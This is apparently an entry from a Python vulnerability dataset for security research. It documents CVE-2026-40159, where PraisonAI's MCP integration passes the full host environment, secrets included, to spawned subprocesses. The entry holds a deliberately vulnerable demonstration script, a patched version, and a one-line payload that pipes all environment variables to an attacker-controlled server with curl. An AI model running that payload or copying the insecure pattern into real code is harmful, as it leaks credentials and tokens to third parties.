VAITP Dataset

← Back to the dataset

CVE-2026-40159

PraisonAI MCP command execution inherits sensitive environment variables.

  • CVSS 5.5
  • CWE-200
  • Information Leakage
  • Remote

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI’s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., MCP("npx -y @smithery/cli …")). These commands are executed through Python’s subprocess module. By default, the implementation forwards the entire parent process environment to the spawned subprocess. As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials. This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as npx -y, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets. This vulnerability is fixed in 4.5.128.

CVSS base score
5.5
Published
2026-04-10
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Information Leakage
Subcategory
Information Disclosure
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
PraisonAI
Fixed by upgrading
Yes

Solution

Upgrade PraisonAI to version 4.5.128 or later.

Vulnerable code sample

import os
import subprocess
import shlex
import sys
import time

# This code is a representation of the vulnerable behavior described in CVE-2026-40159.
# It does not originate from the PraisonAI codebase but is designed to functionally
# demonstrate the core of the vulnerability.

class MCP:
    """
    A representative class simulating the vulnerable MCP component prior to the fix.
    When instantiated, it executes a command string using subprocess.Popen,
    inheriting the parent process's environment by default.
    """
    def __init__(self, command_string: str):
        print(f"[MCP CLASS] Received command: '{command_string}'")
        print("[MCP CLASS] Spawning subprocess...")
        
        # The vulnerability lies here: subprocess.Popen is called without the `env`
        # argument. By default, this means the child process inherits all
        # environment variables from the parent process.
        args = shlex.split(command_string)
        
        try:
            # For demonstration, we capture stdout and stderr to show the output.
            # In a real scenario, this might be a background server process.
            self.process = subprocess.Popen(
                args,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True,
                # The 'env' parameter is omitted, causing the vulnerability.
                # A fixed version might look like: env={} or a sanitized dict.
            )
            print("[MCP CLASS] Subprocess created successfully.")
        except Exception as e:
            print(f"[MCP CLASS] Failed to create subprocess: {e}")
            self.process = None

    def wait_for_completion(self):
        """Helper method to wait for the subprocess and print its output."""
        if self.process:
            print("[MCP CLASS] Waiting for subprocess to complete...")
            stdout, stderr = self.process.communicate()
            if stdout:
                print("\n--- Subprocess STDOUT ---")
                print(stdout.strip())
                print("--- End Subprocess STDOUT ---\n")
            if stderr:
                print("\n--- Subprocess STDERR ---")
                print(stderr.strip())
                print("--- End Subprocess STDERR ---\n")
            print(f"[MCP CLASS] Subprocess finished with exit code: {self.process.returncode}")


def main():
    """
    Main function to demonstrate the environment variable leakage.
    """
    print("--- Starting Vulnerability Demonstration ---")

    # 1. Set a sensitive environment variable in the parent process.
    # This simulates a production environment where secrets are loaded.
    sensitive_key_name = "DATABASE_CONNECTION_STRING"
    sensitive_key_value = "postgres://user:supersecretpassword@prod-db.example.com:5432/maindb"
    os.environ[sensitive_key_name] = sensitive_key_value
    print(f"[HOST PROCESS] Sensitive environment variable '{sensitive_key_name}' is set.")
    print("-" * 40)

    # 2. Define a "malicious" command provided by a user or an untrusted source.
    # This command attempts to read the environment variable and print it.
    # In a real attack, it would exfiltrate it to a remote server.
    # We use `sys.executable` to ensure the correct python interpreter is used.
    malicious_command_string = (
        f"{sys.executable} -c \""
        f"import os; "
        f"secret = os.environ.get('{sensitive_key_name}'); "
        f"if secret: "
        f"    print(f'[MALICIOUS SCRIPT] SUCCESS: Found secret: {{secret}}'); "
        f"else: "
        f"    print('[MALICIOUS SCRIPT] FAILED: Could not find the secret.');\""
    )

    # 3. Instantiate the vulnerable MCP class with the malicious command.
    # This triggers the execution of the command in a new subprocess.
    print("[HOST PROCESS] Instantiating vulnerable MCP with a user-supplied command...")
    vulnerable_mcp_instance = MCP(malicious_command_string)
    
    # 4. Wait for the subprocess to finish to see the result.
    if vulnerable_mcp_instance.process:
        vulnerable_mcp_instance.wait_for_completion()

    print("--- Vulnerability Demonstration Finished ---")
    
    # Clean up the environment variable
    del os.environ[sensitive_key_name]

if __name__ == "__main__":
    main()

Patched code sample

import subprocess
import shlex
import os

class FixedMCP:
    """
    A class representing a fixed version of the MCP integration that mitigates
    the described vulnerability. The fix involves explicitly providing a sanitized
    environment to the subprocess.
    """

    # Define a whitelist of environment variables that are safe to pass to subprocesses.
    # This is the core of the fix. Instead of inheriting all environment variables,
    # we only pass a minimal, known-safe set. 'PATH' is often essential for the
    # subprocess to find executables.
    SAFE_ENV_VARS_WHITELIST = [
        'PATH',
        # On Windows, other variables might be needed for basic operations.
        'SystemRoot',
        'WINDIR',
        'SYSTEMDRIVE',
    ]

    def __init__(self):
        """
        Initializes the class and constructs the sanitized environment that will be
        used for all subprocess calls.
        """
        self.sanitized_env = self._create_sanitized_env()

    def _create_sanitized_env(self):
        """
        Creates a new environment dictionary containing only the whitelisted
        environment variables copied from the parent process's environment.
        """
        safe_env = {}
        for var_name in self.SAFE_ENV_VARS_WHITELIST:
            # Check if the whitelisted variable exists in the current environment
            # before adding it to the safe environment.
            if var_name in os.environ:
                safe_env[var_name] = os.environ[var_name]
        return safe_env

    def execute_background_command(self, command_string: str):
        """
        Executes a command in a background subprocess using a sanitized environment
        to prevent the leakage of sensitive parent process environment variables
        (e.g., API keys, tokens).

        Args:
            command_string: The user-supplied command string to execute.
        """
        try:
            # Use shlex.split for safer parsing of the command string.
            args = shlex.split(command_string)

            # THE FIX: The `env` parameter is explicitly set to the sanitized
            # dictionary created during initialization. If `env` were not provided
            # (or set to None), subprocess.Popen would inherit the entire
            # environment from the parent process, which is the source of the
            # vulnerability. By providing our own `env`, we ensure that only
            # whitelisted variables are passed, preventing sensitive data from
            # being exposed to the child process.
            process = subprocess.Popen(
                args,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                # This is the critical security control that fixes the vulnerability.
                env=self.sanitized_env,
                text=True
            )

            # The process is now running in the background with a safe environment.
            # The caller would be responsible for managing this process object.
            return process

        except FileNotFoundError:
            # This error can occur if the command is not found in the sanitized PATH.
            print(f"Error: Command not found. Ensure the command's path is included in the sanitized environment.")
            return None
        except Exception as e:
            print(f"An error occurred while trying to execute the command: {e}")
            return None

Payload

env | curl -X POST --data-binary @- http://attacker-controlled-server.com/

Cite this entry

@misc{vaitp:cve202640159,
  title        = {{PraisonAI MCP command execution inherits sensitive environment variables.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-40159},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40159/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::